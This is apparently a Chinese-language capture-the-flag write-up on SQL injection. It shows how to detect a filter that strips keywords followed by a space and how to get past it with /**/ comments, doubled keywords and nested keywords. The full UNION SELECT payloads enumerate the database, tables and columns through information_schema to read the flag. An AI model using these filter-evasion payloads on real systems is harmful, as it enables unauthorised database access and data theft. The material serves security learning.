知识点:遇到过滤关键字的情况,可以通过双写、交叉、/**/替代空格等方法来处理
判断注入类型
基本的sql注入测试,首先输入1或者abc,正常的输入,没有报错;
其次输入' or '1,发现没有报错,说明正确的拼接查询字符串也可以进行;
继续输入' select '1,结果是' '1,说明select被过滤了;
尝试输入' select/**/'1,发现有报错;
尝试输入'/**/select '1,发现结果是'/**/'1,这说明真正被过滤的是select (select+一个空格);
综上所述,发现了真正过滤的是(关键字+一个空格)。
以下两种注入设计思路逻辑类似,只是具体实现过程不同,学会任意一种即可
设计注入语句(/**/+交叉)
发现注入类型之后,可以用/**/代替空格的方法来进行应对过滤规则。
构建'union/**/select/**/database()',查询到数据库的名称为web1;
构建'union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/='web1,发现会报错,经过是试错后发现table_schema会过滤。但是过滤规则跟上述还不同,这个只是过滤table_schema,所有用交叉法来应对过滤规则;
所以构建'union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schemtable_schemaa/**/='web1,得到表的名称为flag(或者web_1);
构建'union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag,同样发现会过滤column_name和information_schema.columns,用交叉法来应对;
所以构建'union/**/select/**/column_namcolumn_namee/**/from/**/information_schema.columninformation_schema.columnss/**/where/**/table_name='flag,得到列的名称为flag(或者id);
最后构建'union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1查询列flag内容,得到flag的值
设计注入语句(双写+交叉)
发现注入类型之后,可以用双写关键字的方法来进行应对过滤规则。(注意,关键词后面需要加两个空格)
构建'unionunion selectselect database()',查询到数据库的名称为web1;
构建'unionunion selectselect table_name fromfrom information_schema.tables wherewhere table_schema='web1,发现会报错,经过是试错后发现table_schema会过滤。但是过滤规则跟上述还不同,这个只是过滤table_schema,所有用交叉法来应对过滤规则;
所以构建'unionunion selectselect table_name fromfrom information_schema.tables wherewhere table_schemtable_schemaa='web1,得到表的名称为flag(或者web_1);
构建'unionunion selectselect column_name fromfrom information_schema.columns wherewhere table_name='flag,同样发现会过滤column_name和information_schema.columns,用交叉法来应对;
所以构建'unionunion selectselect column_namcolumn_namee fromfrom information_schema.columninformation_schema.columnss wherewhere table_name='flag,得到列的名称为flag(或者id);
最后构建'unionunion selectselect flag fromfrom flag wherewhere '1' ='1查询列flag内容,得到flag的值